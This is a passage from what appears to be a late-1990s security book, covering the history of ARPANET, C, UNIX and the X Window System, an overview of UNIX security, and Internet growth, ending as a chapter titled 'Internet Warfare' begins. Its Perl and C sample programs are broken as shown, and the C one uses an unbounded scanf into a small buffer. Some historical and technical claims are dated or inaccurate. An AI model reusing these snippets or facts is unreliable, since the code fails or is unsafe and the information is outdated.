protocols. \n \nBy 1975, ARPANET was a fully functional network. The groundwork had been done and \nit was time for the U.S. government to claim its prize. In that year, control of ARPANET \nwas given to an organization then known as the United States Defense Communications \nAgency (this organization would later become the Defense Information Systems \nAgency). \nTo date, the Internet is the largest and most comprehensive structure ever designed by \nhumankind. Next, I will address some peripheral technological developments that helped \nform the network and bring it to its present state of complexity. To do this, I will start \nwith C. \nWhat Is C? \nC is a popular computer programming language, often used to write language compilers \nand operating systems. I examine C here because its development (and its relationship to \nthe UNIX operating system) is directly relevant to the Internet's development. \nNearly all applications designed to facilitate communication over the Internet are written \nin C. Indeed, both the UNIX operating system (which forms the underlying structure of \nthe Internet) and TCP/IP (the suite of protocols used to traffic data over the Net) were \ndeveloped in C. It is no exaggeration to say that if C had never emerged, the Internet as \nwe know it would never have existed at all. \nFor most non-technical users, programming languages are strange, perplexing things. \nHowever, programming languages (and programmers) are the very tools by which a \ncomputer program (commonly called an application) is constructed. It may interest you \nto know that if you use a personal computer or workstation, better than half of all \napplications you now use were written in the C language. (This is true of all widely used \nplatforms, including Macintosh.) In this section, I want to briefly discuss C and pay some \nhomage to those who helped develop it. These folks, along with Paul Baran, Ken \nThompson, and a handful of others, are the grandparents of the Internet. \n" }, { "page_number": 98, "text": " \n \nC was created in the early 1970s by Dennis M. Ritchie and Brian W. Kernighan. These \ntwo men are responsible for many technological advancements that formed the modern \nInternet, and their names appear several times throughout this book. \nLet's discuss a few basic characteristics of the C programming language. To start, C is a \ncompiled as opposed to an interpreted language. I want to take a moment to explain this \ncritical distinction because many of you may lack programming experience. \nInterpreted Programming Languages \nMost programs are written in plain, human-readable text. This text is made up of various \ncommands and blocks of programming code called functions. In interpreted languages, \nthis text remains in human-readable form. In other words, such a program file can be \nloaded into a text editor and read without event. \nFor instance, examine the program that follows. It is written for the Practical Extraction \nand Report Language (Perl). The purpose of this Perl program is to get the user's first \nname and print it back out to the screen. \n \nNOTE: Perl is strictly defined as an interpreted language, but it does perform a form of \ncompilation. However, that compilation occurs in memory and never actually changes the \nphysical appearance of the programming code. \n \nThis program is written in plain English: \n#!/usr/bin/perl \nprint \"Please enter your first name:\"; \n$user_firstname = ; \nchop($user_firstname); \nprint \"Hello, $user_firstname\\n\" \nprint \"Are you ready to hack?\\n\" \nIts construction is designed to be interpreted by Perl. The program performs five \nfunctions: \n• \nStart the Perl interpreter \n• \nPrint a message to the user, asking for his or her first name \n• \nGet the user's first name \n• \nRemove the carriage return at the end of the user input \n• \nPrint a new message to the user, identifying him or her by name \nInterpreted languages are commonly used for programs that perform trivial tasks or tasks \nthat need be done only once. These are sometimes referred to as throwaway programs. \nThey can be written quickly and take virtually no room on the local disk. \n" }, { "page_number": 99, "text": " \n \nSuch interpreted programs are of limited use. For example, in order to run, they must be \nexecuted on a machine that contains the command interpreter. If you take a Perl script \nand install it on a DOS-based machine (without first installing the Perl interpreter), it will \nnot run. The user will be confronted with an error message (Bad command or file \nname). Thus, programs written in Perl are dependent on the interpreter for execution. \nMicrosoft users will be vaguely familiar with this concept in the context of applications \nwritten in Visual Basic (VB). VB programs typically rely on runtime libraries such as \nVBRUN400.DLL. Without such libraries present on the drive, VB programs will not run. \n \nCross Reference: Microsoft users who want to learn more about such library \ndependencies (but don't want to spend the money for VB) should check out Envelop. \nEnvelop is a completely free 32-bit programming environment for Windows 95 and \nWindows NT. It very closely resembles Microsoft Visual Basic and generates attractive, \nfully functional 32-bit programs. It, too, has a set of runtime libraries and extensive \ndocumentation about how those libraries interface with the program. You can get it at \nftp://ftp.cso.uiuc.edu/pub/systems/pc/winsite/win95/programr/envlp14.exe \n \nThe key advantages of interpreted languages include \n• \nTheir programs are easily altered and edited. \n• \nTheir programs take little disk space. \n• \nTheir programs require little memory. \nInterpreted languages are popular, particularly in the UNIX community. Here is a brief \nlist of some well-known interpreted languages: \n• \nPerl \n• \nREXX \n• \nForth \n• \nPython \n• \nTCL \nThe pitfall of using an interpreted language is that programs written in interpreted \nlanguages are generally much slower than those written in compiled languages. \nCompiled Languages \nCompiled languages (such as C) are much different. Programs written in compiled \nlanguages must be converted into binary format before they can be executed. In many \ninstances, this format is almost pure machine-readable code. To generate this code, the \n" }, { "page_number": 100, "text": " \n \nprogrammer sends the human-readable program code (plain text) through a compilation \nprocess. The program that performs this conversion is called a compiler. \nAfter the program has been compiled, no interpreter is required for its execution. It will \nrun on any machine that runs the target operating system for which the program was \nwritten. Exceptions to this rule may sometimes apply to certain portions of a compiled \nprogram. For example, certain graphical functions are dependent on proprietary graphics \nlibraries. When a C program is written using such graphical libraries, certain library \ncomponents must be shipped with the binary distribution. If such library components are \nmissing when the program is executed, the program will exit on error. \nThe first interesting point about compiled programs is that they are fast. Because the \nprogram is loaded entirely into memory on execution (as opposed to being interpreted \nfirst), a great deal of speed is gained. However, as the saying goes, there is no such thing \nas a free lunch. Thus, although compiled programs are fast, they are also much larger \nthan programs written in interpreted languages. \nExamine following the C program. It is identical in function to the Perl program listed \npreviously. Here is the code in its yet-to-be-compiled state: \n#include \nint main() \n{ \nchar name[20]; \nprintf(\"Please enter your first name: \"); \nscanf(\"%s\", &name); \nprintf(\"Hello, %s\\n\", name); \nprintf(\"Are you ready to hack?\\n\"); \nreturn 0; \n} \nUsing a standard C compiler, I compiled this code in a UNIX operating system \nenvironment. The difference in size between the two programs (the one in Perl and the \none in C) was dramatic. The Perl program was 150 bytes in size; the C program, after \nbeing compiled, was 4141 bytes. \nThis might seem like a huge liability on the part of C, but in reality, it isn't. The C \nprogram can be ported to almost every operating system. Furthermore, it will run on any \noperating system of a certain class. If compiled for DOS, it will work equally well under \nall DOS-like environments (such as PC-DOS or NDOS), not just Microsoft DOS. \nModern C: The All-Purpose Language \nC has been used over the years to create all manner of programs on a variety of platforms. \nMany Microsoft Windows applications have been written in C. Similarly, as I will \nexplain later in this chapter, nearly all basic UNIX utilities are written in C. \nTo generate programs written in C, you must have a C compiler. C compilers are \navailable for most platforms. Some of these are commercial products and some are free to \nthe public. Table 7.1 lists common C compilers and the platforms on which they are \navailable. \n" }, { "page_number": 101, "text": " \n \nTable 7.1. C compilers and their platforms. \nCompiler \nPlatform \nGNU C (free) \nUNIX, Linux, DOS, VAX \nBorland C \nDOS, Windows, Windows NT \nMicrosoft C \nDOS, Windows, Windows NT \nWatcom C \nDOS, Windows, Windows NT, OS/2 \nMetrowerks CodeWarrior Mac, Windows, BeOS \nSymantec \nMacintosh, Microsoft platforms \nAdvantages of C \nOne primary advantage of the C language is that it is smaller than many other languages. \nThe average individual can learn C within a reasonable period of time. Another \nadvantage is that C now conforms to a national standard. Thus, a programmer can learn C \nand apply that knowledge on any platform, anywhere in the country. \nC has direct relevance to the development of the Internet. As I have explained, most \nmodern TCP/IP implementations are written in C, and these form the basis of data \ntransport on the Internet. More importantly, C was used in the development of the UNIX \noperating system. As I will explain in the next section of this chapter, the UNIX \noperating system has, for many years, formed the larger portion of the Internet. \nC has other advantages: One is portability. You may have seen statements on the Internet \nabout this or that program being ported to another operating system or platform, and \nmany of you might not know exactly what that means. Portability refers to the capability \nof a program to be re-worked to run on a platform other than the one for which it was \noriginally designed (that is, the capability to take a program written for Microsoft \nWindows and port it to the Macintosh platform). This aspect of portability is very \nimportant, especially in an environment like the Internet, because the Internet has many \ndifferent types of systems running on it. In order to make a program available \nnetworkwide, that program must be easily conformable to all platforms. \nUnlike code in other languages, C code is highly portable. For example, consider Visual \nBasic. Visual Basic is a wonderful rapid application development tool that can build \nprograms to run on any Microsoft-based platform. However, that is the extent of it. You \ncannot take the raw code of a VB application and recompile it on a Macintosh or a Sun \nSparcstation. \nIn contrast, the majority of C programs can be ported to a wide variety of platforms. As \nsuch, C-based programs available for distribution on the Internet are almost always \ndistributed in source form (in other words, they are distributed in plain text code form, or \nin a form that has not yet been compiled). This allows the user to compile the program \nspecifically for his or her own operating system environment. \nLimitations of C and the Creation of C++ \n" }, { "page_number": 102, "text": " \n \nDespite these wonderful features, C has certain limitations. C is not, for example, an \nobject-oriented language. Managing very large programs in C (where the code exceeds \n100,000 lines) can be difficult. For this, C++ was created. C++ lineage is deeply rooted in \nC, but works differently. Because this section contains only brief coverage of C, I will not \ndiscuss C++ extensively. However, you should note that C++ is generally included as an \noption in most modern C compilers. \nC++ is an extremely powerful programming language and has led to dramatic changes in \nthe way programming is accomplished. C++ allows for encapsulation of complex \nfunctions into entities called objects. These objects allow easier control and organization \nof large and complex programs. \nIn closing, C is a popular, portable, and lightweight programming language. It is based on \na national standard and was used in the development of the UNIX operating system. \n \nCross Reference: Readers who want to learn more about the C programming language \nshould obtain the book The C Programming Language by Brian W. Kernighan and \nDennis M. Ritchie. (Prentice Hall, ISBN 0-13-110370-9). This book is a standard. It is \nextremely revealing; after all, it is written by two men who developed the language. \nOther popular books on C include \nC: A Reference Manual. Samuel P. Harbison and Guy L. Steele. Prentice-\nHall. ISBN 0-13-109802-0. 1987. \nTeach Yourself C in 21 Days. Peter Aitkin and Bradley Jones. Sams \nPublishing. ISBN 0-672-30448-1. \nTeach Yourself C. Herbert Schildt. Osborne McGraw-Hill. ISBN 0-07-\n881596-7. \n \nUNIX \nThe UNIX operating system has a long and rich history. Today, UNIX is one of the most \nwidely used operating systems, particularly on the Internet. In fact, UNIX actually \ncomprises much of the Net, being the number one system used on servers in the void. \nCreated in 1969 by Ken Thompson of Bell Labs, the first version of UNIX ran on a \nDigital Equipment Corporation (DEC) PDP-7. Of course, that system bore no \nresemblance to modern UNIX. For example, UNIX has been traditionally known as a \nmultiuser system (in other words, many users can work simultaneously on a single UNIX \nbox). In contrast, the system created by Thompson was reportedly a single-user system, \nand a bare bones one at that. \nWhen users today think of an operating system, they imagine something that includes \nbasic utilities, text editors, help files, a windowing system, networking tools, and so forth. \nThis is because the personal computer has become a household item. As such, end-user \nsystems incorporate great complexity and user-friendly design. Alas, the first UNIX \nsystem was nothing like this. Instead, it was composed of only the most necessary \n" }, { "page_number": 103, "text": " \n \nutilities to operate effectively. For a moment, place yourself in Ken Thompson's position. \nBefore you create dozens of complex programs like those mentioned previously, you are \nfaced with a more practical task: getting the system to boot. \nIn any event, Thompson and Dennis Ritchie ported UNIX to a DEC PDP-11/20 a year \nlater. From there, UNIX underwent considerable development. Between 1970 and 1973, \nUNIX was completely reworked and written in the C programming language. This was \nreportedly a major improvement and eliminated many of the bugs inherent to the original \nimplementation. \nIn the years that followed, UNIX source code was distributed to universities throughout \nthe country. This, more than any other thing, contributed to the success of UNIX. \nFirst, the research and academic communities took an immediate liking to UNIX. Hence, \nit was used in many educational exercises. This had a direct effect on the commercial \nworld. As explained by Mike Loukides, an editor for O'Reilly & Associates and a UNIX \nguru: \nSchools were turning out loads of very competent computer users (and systems programmers) who \nalready knew UNIX. You could therefore \"buy\" a ready-made programming staff. You didn't have \nto train them on the intricacies of some unknown operating system. \nAlso, because the source was free to these universities, UNIX was open for development \nby students. This openness quickly led to UNIX being ported to other machines, which \nonly increased the UNIX user base. \n \nNOTE: Because UNIX source is widely known and available, more flaws in the system \nsecurity structure are also known. This is in sharp contrast to proprietary systems. Such \nproprietary software manufacturers refuse to disclose their source except to very select \nrecipients, leaving many questions about their security as yet unanswered. \n \nSeveral years passed, and UNIX continued to gain popularity. It became so popular, in \nfact, that in 1978, AT&T decided to commercialize the operating system and demand \nlicensing fees (after all, it had obviously created a winning product). This caused a major \nshift in the computing community. As a result, the University of California at Berkeley \ncreated its own version of UNIX, thereafter referred to as the Berkeley Software \nDistribution or BSD. BSD was (and continues to be) extremely influential, being the \nbasis for many modern forms of commercial UNIX. \nAn interesting development occurred during 1980. Microsoft released a new version of \nUNIX called XENIX. This was significant because the Microsoft product line was already \nquite extensive. For example, Microsoft was selling versions of BASIC, COBOL, Pascal, \nand FORTRAN. However, despite a strong effort by Microsoft to make its XENIX \nproduct fly (and even an endorsement by IBM to install the XENIX operating system on \nits new PCs), XENIX would ultimately fade into obscurity. Its popularity lasted a mere \nfive years. In contrast, MS-DOS (released only one year after XENIX was introduced) \ntook the PC world by storm. \nToday, there are many commercial versions of UNIX. I have listed a few of the them in \nTable 7.2. \n" }, { "page_number": 104, "text": " \n \nTable 7.2. Commercial versions of UNIX and their manufacturers. \nUNIX Version \nSoftware Company \nSunOS & Solaris Sun Microsystems \nHP-UX \nHewlett Packard \nAIX \nIBM \nIRIX \nSilicon Graphics (SGI) \nDEC UNIX \nDigital Equipment Corporation \nThese versions of UNIX run on proprietary hardware platforms, on high-performance \nmachines called workstations. Workstations differ from PC machines in several ways. \nFor one thing, workstations contain superior hardware and are therefore more expensive. \nThis is due in part to the limited number of workstations built. PCs are manufactured in \nlarge numbers, and manufacturers are constantly looking for ways to cut costs. A \nconsumer buying a new PC motherboard has a much greater chance of receiving faulty \nhardware. Conversely, workstation buyers enjoy more reliability, but may pay five or \neven six figures for their systems. \nThe trade-off is a hard choice. Naturally, for average users, workstations are both \nimpractical and cost prohibitive. Moreover, PC hardware and software are easily \nobtainable, simple to configure, and widely distributed. \nNevertheless, workstations have traditionally been more technologically advanced than \nPCs. For example, onboard sound, Ethernet, and SCSI were standard features of \nworkstations in 1989. In fact, onboard ISDN was integrated not long after ISDN was \ndeveloped. \nDifferences also exist depending upon manufacturer. For example, Silicon Graphics \n(SGI) machines contain special hardware (and software) that allows them to generate \neye-popping graphics. These machines are commonly used in the entertainment industry, \nparticularly in film. Because of the extraordinary capabilities of the SGI product line, SGI \nworkstations are unrivaled in the graphics industry. \nHowever, we are only concerned here with the UNIX platform as it relates to the Internet. \nAs you might guess, that relationship is strong. As I noted earlier, the U.S. government's \ndevelopment of the Internet was implemented on the UNIX platform. As such, today's \nUNIX system contains within it the very building blocks of the Net. No other operating \nsystem had ever been so expressly designed for use with the Internet. (Although Bell \nLabs is currently developing a system that may even surpass UNIX in this regard. It is \ncalled Plan 9 from Bell Labs; Plan 9 is covered in Chapter 21, \"Plan 9 from Bell Labs.\") \nModern UNIX can run on a wide variety of platforms, including IBM-compatible and \nMacintosh. Installation is typically straightforward and differs little from installation of \nother operating systems. Most vendors provide CD-ROM media. On workstations, \ninstallation is performed by booting from a CD-ROM. The user is given a series of \noptions and the remainder of the installation is automatic. On other hardware platforms, \nthe CD-ROM medium is generally accompanied by a boot disk that loads a small \ninstallation routine into memory. \n" }, { "page_number": 105, "text": " \n \nLikewise, starting a UNIX system is similar to booting other systems. The boot routine \nmakes quick diagnostics of all existing hardware devices, checks the memory, and starts \nvital system processes. In UNIX, some common system processes started at boot include \n• \nSendmail (electronic mail services) \n• \nRPC (remote procedure calls) \n• \nTCP/IP (networking protocols) \nAfter the system boots successfully, a login prompt is issued to the user. Here, the user \nprovides his or her login username and password. When login is complete, the user is \ngenerally dropped into a shell environment. A shell is an environment in which \ncommands can be typed and executed. In this respect, at least in appearance, basic UNIX \nmarginally resembles MS-DOS. Navigation of directories is accomplished by changing \ndirection from one to another. DOS users can easily navigate a UNIX system using the \nconversion information in Table 7.3. \nTable 7.3. Command conversion table: UNIX to DOS. \nDOS Command \nUNIX Equivalent \ncd cd \ndir \nls -l \ntype|more \nmore \nhelp man \nedit \nvi \n \nCross Reference: Readers who wish to know more about basic UNIX commands should \npoint their WWW browser to http://www.geek-girl.com/Unixhelp/. This archive is one \nof the most comprehensive collections of information about UNIX currently online. \nEqually, more serious readers may wish to have a handy reference at their immediate \ndisposal. For this, I recommend UNIX Unleashed (Sams Publishing). The book was \nwritten by several talented UNIX wizards and provides many helpful tips and tricks on \nusing this popular operating system. \n \nSay, What About a Windowing System? \nUNIX supports many windowing systems. Much depends on the specific platform. For \nexample, most companies that have developed proprietary UNIX systems have also \ndeveloped their own windowing packages, either partially or completely. In general, \nhowever, all modern UNIX systems support the X Window System from the \nMassachusetts Institute of Technology (MIT). Whenever I refer to the X Window System \nin this book (which is often), I refer to it as X. I want to quickly cover X because some \nportions of this book require you to know about it. \nIn 1984, the folks at MIT founded Project Athena. Its purpose was to develop a system of \ngraphical interface that would run on workstations or networks of disparate design. \nDuring the initial stages of research, it immediately became clear that in order to \n" }, { "page_number": 106, "text": " \n \naccomplish this task, X had to be hardware independent. It also had to provide \ntransparent network access. As such, X is not only a windowing system, but a network \nprotocol based on the client/server model. \nThe individuals primarily responsible for early development of X were Robert Scheifler \nand Ron Newman, both from MIT, and Jim Gettys of DEC. X vastly differs from other \ntypes of windowing systems (for example, Microsoft Windows), even with respect to the \nuser interface. This difference lies mainly in a concept sometimes referred to as \nworkbench or toolkit functionality. That is, X allows users to control every aspect of its \nbehavior. It also provides an extensive set of programming resources. X has often been \ndescribed as the most complex and comprehensive windowing system ever designed. X \nprovides for high-resolution graphics over network connections at high speed and \nthroughput. In short, X comprises some of the most advanced windowing technology \ncurrently available. Some users characterize the complexity of X as a disadvantage, and \nthere is probably a bit of merit to this. So many options are available that the casual user \nmay quickly be overwhelmed. \n \nCross Reference: Readers who wish to learn more about X should visit the site of the X \nConsortium. The X Consortium comprises the authors of X. This group constantly sets \nand improves standards for the X Window System. Its site is at http://www.x.org/. \n \n \nNOTE: Certain versions of X can be run on IBM-compatible machines in a \nDOS/Windows Environment. \n \nUsers familiar with the Microsoft platform can grasp the use of X in UNIX by likening it \nto the relationship between DOS and Microsoft Windows 3.11. The basic UNIX system \nis always available as a command-line interface and remains active and accessible, even \nwhen the user enters the X environment. In this respect, X runs on top of the basic UNIX \nsystem. While in the X environment, a user can access the UNIX command-line interface \nthrough a shell window (this at least appears to function much like the MS-DOS prompt \nwindow option available in Microsoft Windows). From this shell window, the user can \nperform tasks, execute commands, and view system processes at work. \nUsers start the X Window System by issuing the following command: \nstartx \nX can run a series of window managers. Each window manager has a different look and \nfeel. Some of these (such as twm) appear quite bare bones and technical, while others are \nquite attractive, even fancy. There is even one X window manager available that emulates \nthe Windows 95 look and feel. Other platforms are likewise emulated, including the \nNeXT window system and the Amiga Workbench system. Other windowing systems \n(some based on X and some proprietary) are shown in Table 7.4. \nTable 7.4. Common windowing systems in UNIX. \nWindow System Company \nOpenWindows Sun Microsystems \nAIXWindows \nIBM \n" }, { "page_number": 107, "text": " \n \nHPVUE \nHewlett Packard \nIndigo Magic \nSilicon Graphics \nWhat Kinds of Applications Run on UNIX? \nMany types of applications run on UNIX. Some of these are high-performance \napplications for use in scientific research and artificial intelligence. I have already \nmentioned that certain high-level graphics applications are also common, particularly to \nthe SGI platform. However, not every UNIX application is so specialized or eclectic. \nPerfectly normal applications run in UNIX, and many of them are recognizable names \ncommon to the PC and Mac communities (such as Adobe Photoshop, WordPerfect, and \nother front-line products). \nEqually, I don't want readers to get the wrong idea. UNIX is by no means a platform that \nlacks a sense of humor or fun. Indeed, there are many games and amusing utilities \navailable for this unique operating system. \nEssentially, modern UNIX is much like any other platform in this respect. Window \nsystems tend to come with suites of applications integrated into the package. These \ninclude file managers, text editors, mail tools, clocks, calendars, calculators, and the usual \nfare. \nThere is also a rich collection of multimedia software for use with UNIX, including \nmovie players, audio CD utilities, recording facilities for digital sound, two-way camera \nsystems, multimedia mail, and other fun things. Basically, just about anything you can \nthink of has been written for UNIX. \nUNIX in Relation to Internet Security \nBecause UNIX supports so many avenues of networking, securing UNIX servers is a \nformidable task. This is in contrast to servers implemented on the Macintosh or IBM-\ncompatible platforms. The operating systems most common to these platforms do not \nsupport anywhere close to the number of network protocols natively available under \nUNIX. \nTraditionally, UNIX security has been a complex field. In this respect, UNIX is often at \nodds with itself. UNIX was developed as the ultimate open system (that is, its source \ncode has long been freely available, the system supports a wide range of protocols, and \nits design is uniquely oriented to facilitate multiple forms of communication). These \nattributes make UNIX the most popular networking platform ever devised. Nevertheless, \nthese same attributes make security a difficult thing to achieve. How can you allow every \nmanner of open access and fluid networking while still providing security? \nOver the years, many advances have been made in UNIX security. These, in large part, \nwere spawned by governmental use of the operating system. Most versions of UNIX have \nmade it to the Evaluated Products List (EPL). Some of these advances (many of which \nwere implemented early in the operating system's history) include \n• \nEncrypted passwords \n" }, { "page_number": 108, "text": " \n \n• \nStrong file and directory-access control \n• \nSystem-level authentication procedures \n• \nSophisticated logging facilities \nUNIX is used in many environments that demand security. As such, there are hundreds of \nsecurity programs available to tune up or otherwise improve the security of a UNIX \nsystem. Many of these tools are freely available on the Internet. Such tools can be \nclassified into two basic categories: \n• \nSecurity audit tools \n• \nSystem logging tools \nSecurity audit tools tend to be programs that automatically detect holes within systems. \nThese typically check for known vulnerabilities and common misconfigurations that can \nlead to security breaches. Such tools are designed for wide-scale network auditing and, \ntherefore, can be used to check many machines on a given network. These tools are \nadvantageous because they reveal inherent weaknesses within the audited system. \nHowever, these tools are also liabilities because they provide powerful capabilities to \ncrackers in the void. In the wrong hands, these tools can be used to compromise many \nhosts. \nConversely, system logging tools are used to record the activities of users and system \nmessages. These logs are recorded to plain text files or files that automatically organize \nthemselves into one or more database formats. Logging tools are a staple resource in any \nUNIX security toolbox. Often, the logs generated by such utilities form the basis of \nevidence when you pursue an intruder or build a case against a cracker. However, deep \nlogging of the system can be costly in terms of disk space. Moreover, many of these tools \nwork flawlessly at collecting data, but provide no easy way to interpret it. Thus, security \npersonnel may be faced with writing their own programs to perform this task. \nUNIX security is a far more difficult field than security on other platforms, primarily \nbecause UNIX is such a large and complicated operating system. Naturally, this means \nthat obtaining personnel with true UNIX security expertise may be a laborious and costly \nprocess. For although these people aren't rare particularly, most of them already occupy \nkey positions in firms throughout the nation. As a result, consulting in this area has \nbecome a lucrative business. \nOne good point about UNIX security is that because UNIX has been around for so long, \nmuch is known about its inherent flaws. Although new holes crop up on a fairly regular \nbasis, their sources are quickly identified. Moreover, the UNIX community as a whole is \nwell networked with respect to security. There are many mailing lists, archives, and \nonline databases of information dealing with UNIX security. The same cannot be so \neasily said for other operating systems. Nevertheless, this trend is changing, particularly \nwith regard to Microsoft Windows NT. There is now strong support for NT security on \nthe Net, and that support is growing each day. \nThe Internet: How Big Is It? \n" }, { "page_number": 109, "text": " \n \nThis section requires a bit more history, and I am going to run through it rapidly. Early in \nthe 1980s, the Internet as we now know it was born. The number of hosts was in the \nhundreds, and it seemed to researchers even then that the Internet was massive. Sometime \nin 1986, the first freely available public access server was established on the Net. It was \nonly a matter of time--a mere decade, as it turned out--before humanity would storm the \nbeach of cyberspace; it would soon come alive with the sounds of merchants peddling \ntheir wares. \nBy 1988, there were more than 50,000 hosts on the Net. Then a bizarre event took place: \nIn November of that year, a worm program was released into the network. This worm \ninfected numerous machines (reportedly over 5,000) and left them in various stages of \ndisrupted service or distress (I will discuss this event in Chapter 5, \"Is Security a Futile \nEndeavor?\"). This brought the Internet into the public eye in a big way, plastering it \nacross the front pages of our nation's newspapers. \nBy 1990, the number of Internet hosts exceeded 300,000. For a variety of reasons, the \nU.S. government released its hold on the network in this year, leaving it to the National \nScience Foundation (NSF). The NSF had instituted strong restrictions against commercial \nuse of the Internet. However, amidst debates over cost considerations (operating the \nInternet backbone required substantial resources), NSF suddenly relinquished authority \nover the Net in 1991, opening the way for commercial entities to seize control of network \nbandwidth. \nStill, however, the public at large did not advance. The majority of private Internet users \ngot their access from providers like Delphi. Access was entirely command-line based and \nfar too intimidating for the average user. This changed suddenly when revolutionary \nsoftware developed at the University of Minnesota was released. It was called Gopher. \nGopher was the first Internet navigation tool for use in GUI environments. The World \nWide Web browser followed soon thereafter. \nIn 1995, NSF retired entirely from its long-standing position as overseer of the Net. The \nInternet was completely commercialized almost instantly as companies across America \nrushed to get connected to the backbone. The companies were immediately followed by \nthe American public, which was empowered by new browsers such as NCSA Mosaic, \nNetscape Navigator, and Microsoft Internet Explorer. The Internet was suddenly \naccessible to anyone with a computer, a windowing system, and a mouse. \nToday, the Internet sports more than 10 million hosts and reportedly serves some 40 \nmillion individuals. Some projections indicate that if Internet usage continues along its \ncurrent path of growth, the entire Western world will be connected by the year 2001. \nBarring some extraordinary event to slow this path, these estimates are probably correct. \nToday's Internet is truly massive, housing hundreds of thousands of networks. Many of \nthese run varied operating systems and hardware platforms. Well over 100 countries \nbesides the United States are connected, and that number is increasing every year. The \nonly question is this: What does the future hold for the Internet? \nThe Future \n" }, { "page_number": 110, "text": " \n \nThere have been many projections about where the Internet is going. Most of these \nprojections (at least those of common knowledge to the public) are cast by marketeers \nand spin doctors anxious to sell more bandwidth, more hardware, more software, and \nmore hype. In essence, America's icons of big business are trying to control the Net and \nbend it to their will. This is a formidable task for several reasons. \nOne is that the technology for the Internet is now moving faster than the public's ability \nto buy it. For example, much of corporate America is intent on using the Internet as an \nentertainment medium. The network is well suited for such purposes, but implementation \nis difficult, primarily because average users cannot afford the necessary hardware to \nreceive high-speed transmissions. Most users are getting along with modems at speeds of \n28.8Kbps. Other options exist, true, but they are expensive. ISDN, for example, is a \nviable solution only for folks with funds to spare or for companies doing business on the \nNet. It is also of some significance that ISDN is more difficult to configure--on any \nplatform--than the average modem. For some of my clients, this has been a significant \ndeterrent. I occasionally hear from people who turned to ISDN, found the configuration \nproblems overwhelming, and found themselves back at 28.8Kbps with conventional \nmodems. Furthermore, in certain parts of the country, the mere use of an ISDN telephone \nline costs money per each minute of connection time. \n \nNOTE: Although telephone companies initially viewed ISDN as a big money maker, that \nprojection proved to be somewhat premature. These companies envisioned huge profits, \nwhich never really materialized. There are many reasons for this. One is that ISDN \nmodems are still very expensive compared to their 28.8Kbps counterparts. This is a \nsignificant deterrent to most casual users. Another reason is that consumers know they \ncan avoid heavy-duty phone company charges by surfing at night. (For example, many \ntelephone companies only enforce heavy charges from 8:00 a.m. to 5:00 p.m.) But these \nare not the only reasons. There are other methods of access emerging that will probably \nrender ISDN technology obsolete. Today's consumers are keenly aware of these trends, \nand many have adopted a wait-and-see attitude. \n \nCable modems offer one promising solution. These new devices, currently being tested \nthroughout the United States, will reportedly deliver Net access at 100 times the speed of \nmodems now in use. However, there are deep problems to be solved within the cable \nmodem industry. For example, no standards have yet been established. Therefore, each \ncable modem will be entirely proprietary. With no standards, the price of cable modems \nwill probably remain very high (ranging anywhere from $300 to $600). This could \ndiscourage most buyers. There are also issues as to what cable modem to buy. Their \ncapabilities vary dramatically. Some, for example, offer extremely high throughput while \nreceiving data but only meager throughput when transmitting it. For some users, this \nsimply isn't suitable. A practical example would be someone who plans to video-\nconference on a regular basis. True, they could receive the image of their video-\nconference partner at high speed, but they would be unable to send at that same speed. \n \nNOTE: There are other more practical problems that plague the otherwise bright future \nof cable modem connections. For example, consumers are told that they will essentially \nhave the speed of a low-end T3 connection for $39 a month, but this is only partially true. \nAlthough their cable modem and the coax wire it's connected to are capable of such \nspeeds, the average consumer will likely never see the full potential because all \n" }, { "page_number": 111, "text": " \n \ninhabitants in a particular area (typically a neighborhood) must share the bandwidth of \nthe connection. For example, in apartment buildings, the 10mps is divided between the \ninhabitants patched into that wire. Thus, if a user in apartment 1A is running a search \nagent that collects hundreds of megabytes of information each day, the remaining \ninhabitants in other apartments will suffer a tremendous loss of bandwidth. This is clearly \nunsuitable. \n \n \n \nCross Reference: Cable modem technology is an aggressive climate now, with several \ndozen big players seeking to capture the lion's share of the market. To get in-depth \ninformation about the struggle (and what cable modems have to offer), point your Web \nbrowser to http://rpcp.mit.edu/~gingold/cable/. \n \nOther technologies, such as WebTV, offer promise. WebTV is a device that makes \nsurfing the Net as easy as watching television. These units are easily installed, and the \ninterface is quite intuitive. However, systems such as WebTV may bring an unwanted \ninfluence to the Net: censorship. Many of the materials on the Internet could be \ncharacterized as highly objectionable. In this category are certain forms of hard-core \npornography and seditious or revolutionary material. If WebTV were to become the \nstandard method of Internet access, the government might attempt to regulate what type \nof material could appear. This might undermine the grass-roots, free-speech environment \nof the Net. \n \nNOTE: Since the writing of this chapter, Microsoft Corporation has purchased WebTV \n(even though the sales for WebTV proved to be far less than industry experts had \nprojected). Of course, this is just my personal opinion, but I think the idea was somewhat \nill-conceived. The Internet is not yet an entertainment medium, nor will it be for some \ntime, largely due to speed and bandwidth constraints. One wonders whether Microsoft \ndidn't move prematurely in making its purchase. Perhaps Microsoft bought WebTV \nexpressly for the purpose of shelving it. This is possible. After all, such a purchase would \nbe one way to eliminate what seemed (at least at the time) to be some formidable \ncompetition to MSN. \n \n \n \nCross Reference: WebTV does have interesting possibilities and offers one very simple \nway to get acquainted with the Internet. If you are a new user and find Net navigation \nconfusing, you might want to check out WebTV's home page at http://www.webtv.net/. \n \nEither way, the Internet is about to become an important part of every American's life. \nBanks and other financial institutions are now offering banking over the Internet. Within \nfive years, this will likely replace the standard method of banking. Similarly, a good deal \nof trade has been taken to the Net. \nSummary \nThis chapter briefly examines the birth of the Internet. Next on the agenda are the \nhistorical and practical points of the network's protocols, or methods of data transport. \nThese topics are essential for understanding the fundamentals of Internet security. \n" }, { "page_number": 112, "text": " \n \n8 \nInternet Warfare \nThe Internet is an amazing resource. As you sit before your monitor, long after your \nneighbors are warm and cozy in their beds, I want you to think about this: Beyond that \nscreen lies 4,000 years of accumulated knowledge. At any time, you can reach out into \nthe void and bring that knowledge home. \nThere is something almost metaphysical about this. It's as though you can fuse yourself to \nthe hearts and minds of humanity, read its innermost inspirations, its triumphs, its \nfailures, its collective contributions to us all. With the average search engine, you can \neven do this incisively, weeding out the noise of things you deem nonessential. \nFor this reason, the Internet will ultimately revolutionize education. I'm not referring to \nhome study or classes that save time by virtue of teaching 1,000 students simultaneously. \nAlthough these are all useful techniques of instruction that will undoubtedly streamline \nmany tasks for teachers and students alike, I am referring to something quite different. \nToday, many people have forgotten what the term education really means. Think back to \nyour days at school. In every life there is one memorable teacher: One person who took a \nsubject (history, for example) and with his or her words, brought that subject to life in an \nelectrifying display. Through whatever means necessary, that person transcended the \nidentity of instructor and entered the realm of the educator. There is a difference: One \nprovides the basic information needed to effectively pass the course; the other inspires. \nThe Internet can serve as a surrogate educator, and users can now inspire themselves. The \nother night, I had dinner with a heavy-equipment operator. 